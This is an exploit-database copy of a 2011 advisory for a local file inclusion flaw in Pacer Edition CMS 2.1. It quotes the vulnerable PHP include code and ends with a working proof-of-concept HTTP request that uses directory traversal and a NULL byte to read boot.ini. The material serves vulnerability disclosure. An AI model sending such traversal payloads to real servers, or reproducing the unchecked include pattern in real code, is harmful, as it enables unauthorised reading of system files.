Pacer Edition CMS 2.1 (l param) Local File Inclusion Vulnerability

vendor:

Pacer Edition CMS

by:

Gjoko 'LiquidWorm' Krstic

7.5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: Pacer Edition CMS

Affected Version From: RC 2.1 (SVN: 867)

Affected Version To: RC 2.1 (SVN: 867)

Patch Exists: YES

Related CWE: N/A

CPE: a:the_pacer_edition:pacer_edition_cms:2.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Microsoft Windows XP Professional SP3 (EN), Apache 2.2.14 (Win32), PHP 5.3.1, MySQL 5.1.41

2011

Pacer Edition CMS 2.1 (l param) Local File Inclusion Vulnerability

Pacer Edition CMS suffers from a local file inlcusion vulnerability when input passed thru the 'l' parameter to admin/login/forgot/index.php script is not properly verified before being used to include files. This can be exploited to include files from local resources with directory traversal attacks and URL encoded NULL bytes.

Mitigation:

Input validation should be performed to verify that the input is of the expected type, length, and value.

Source

Exploit-DB raw data:

Pacer Edition CMS 2.1 (l param) Local File Inclusion Vulnerability

Vendor: The Pacer Edition
Product web page: http://www.thepaceredition.com
Affected version: RC 2.1 (SVN: 867)

Summary: The 'Pacer Edition' is a Content Management System(CMS)
written using PHP 5.2.9 as a minimum requirement. The Pacer Edition
CMS was based from Website baker core and has been completely
redesigned with a whole new look and feel along with many new
advanced features to allow you to build sites exactly how you want
and make them, 100% yours!

Desc: Pacer Edition CMS suffers from a local file inlcusion
vulnerability when input passed thru the 'l' parameter to
admin/login/forgot/index.php script is not properly verified
before being used to include files. This can be exploited to
include files from local resources with directory traversal
attacks and URL encoded NULL bytes.


/admin/login/forgot/index.php (line: 59-62):
----------------------------------------------------------------

$lang_id = ((isset($_GET['l'])) ? $_GET['l'] : '');
if ($lang_id == '') $lang_id = (LANGUAGE) ? LANGUAGE : (DEFAULT_LANGUAGE) ? DEFAULT_LANGUAGE : 'EN';
if (!file_exists(PE_PATH.'/languages/'.$lang_id.'.php')) $lang_id = 'EN'; 
require (PE_PATH.'/languages/'.$lang_id.'.php');

----------------------------------------------------------------


Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com
                            Zero Science Lab


Advisory ID: ZSL-2011-5019
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5019.php



07.06.2011


PoC:

----------------------------------------------------------------

POST /admin/login/forgot/index.php?l=..%2f..%2f..%2f..%2f..%2fboot.ini%00 HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
User-Agent: thricer
Content-Length: 2
Cache-Control: max-age=0
Origin: null
Content-Type: multipart/form-data; boundary=----x
Accept: text/html
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

------x
Content-Disposition: form-data; name="email"

sm
------x--

----------------------------------------------------------------